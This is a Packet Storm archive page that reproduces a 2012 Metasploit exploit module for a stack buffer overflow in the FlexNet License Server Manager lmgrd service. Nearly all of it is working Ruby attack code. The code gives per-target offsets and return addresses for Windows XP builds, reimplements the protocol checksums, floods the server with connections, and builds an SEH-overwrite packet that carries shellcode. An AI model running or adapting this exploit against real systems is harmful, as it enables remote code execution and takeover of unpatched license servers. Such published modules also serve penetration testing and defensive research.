exploit the possibilities

FlexNet License Server Manager lmgrd Buffer Overflow

FlexNet License Server Manager lmgrd Buffer Overflow
Posted May 22, 2012
Authored by Luigi Auriemma, sinn3r, Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability in the FlexNet License Server Manager. The vulnerability is due to the insecure usage of memcpy in the lmgrd service when handling network packets, which results in a stack buffer overflow. In order to improve reliability, this module will make lots of connections to lmgrd during each attempt to maximize its success.

tags | exploit, overflow
advisories | OSVDB-81899
MD5 | 19d930127fce9ef37c1be58047232c2e

FlexNet License Server Manager lmgrd Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the FlexNet
License Server Manager.

The vulnerability is due to the insecure usage of memcpy
in the lmgrd service when handling network packets, which
results in a stack buffer overflow.

In order to improve reliability, this module will make lots of
connections to lmgrd during each attempt to maximize its success.
},
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery and PoC
'Alexander Gavrun', # Vulnerability Discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '81899' ],
[ 'BID', '52718' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],
[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4000
},
'Platform' => 'win',
'Targets' =>
[
[ 'Debug', {} ],
[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
{
'Offset' => 10476,
'ShellcodeOffset' => 5504,
'Ret' => 0x0047d01f # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
{
'Offset' => 7324,
'ShellcodeOffset' => 2332,
'Ret' => 0x004eda91 # ppr from lmgrd.exe
}
],
[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
{
'Offset' => 7320,
'ShellcodeOffset' => 2328,
'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
}
],
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 23 2012'))

register_options(
[
Opt::RPORT(27000),
OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
], self.class)
end

def header_checksum(packet)
packet_bytes = packet.unpack("C*")
checksum = packet_bytes[0]
i = 2
while i < 0x14
checksum = checksum + packet_bytes[i]
i = i + 1
end
return (checksum & 0x0FF)
end

def data_checksum(packet_data)
word_table = ""
i = 0
while i < 256
v4 = 0
v3 = i
j = 8

while j > 0
if ((v4 ^ v3) & 1) == 1
v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
else
v4 = (v4 >> 1) & 0x0FFFF
end
v3 >>= 1
j = j - 1
end

word_table << [v4].pack("S")
i = i + 1
end
k = 0
checksum = 0
data_bytes = packet_data.unpack("C*")
word_table_words = word_table.unpack("S*")
while k < packet_data.length
position = data_bytes[k] ^ (checksum & 0x0FF)
checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
k = k + 1
end
return checksum
end

def create_packet(data)
pkt = "\x2f"
pkt << "\x00" # header checksum
pkt << "\x00\x00" # data checksum
pkt << "\x00\x00" # pkt length
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
pkt << data

pkt[4,2] = [pkt.length].pack("n")

data_sum = data_checksum(pkt[4, pkt.length - 4])
pkt[2, 2] = [data_sum].pack("n")

hdr_sum = header_checksum(pkt[0, 20])
pkt[1] = [hdr_sum].pack("C")

return pkt
end

def jam
pkt = create_packet("")

datastore['Jam'].times do
connect
sock.put(pkt)
disconnect
end
end

def exploit
i = 1
while i <= datastore['Attempts'] and not session_created?
print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")
do_exploit
sleep(datastore['Wait'])
i = i + 1
end

if not session_created?
print_error("Exploit didn't work after #{i} attempts")
end
end

def do_exploit
t = framework.threads.spawn("jam", false) { jam }
my_payload = payload.encoded

header_length = 20 # See create_packet() to understand this number
pkt_data = ""
if target.name =~ /Debug/
pkt_data << "a" * (65535 - header_length)
else
pkt_data << "a" * (target['ShellcodeOffset'])
pkt_data << my_payload
pkt_data << "b" * (target['Offset']-target['ShellcodeOffset']-my_payload.length)
pkt_data << generate_seh_record(target.ret)
pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string
pkt_data << "c" * (65535 - pkt_data.length - header_length)
end

pkt = create_packet(pkt_data)

connect
sock.put(pkt)
handler
disconnect
end

end
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close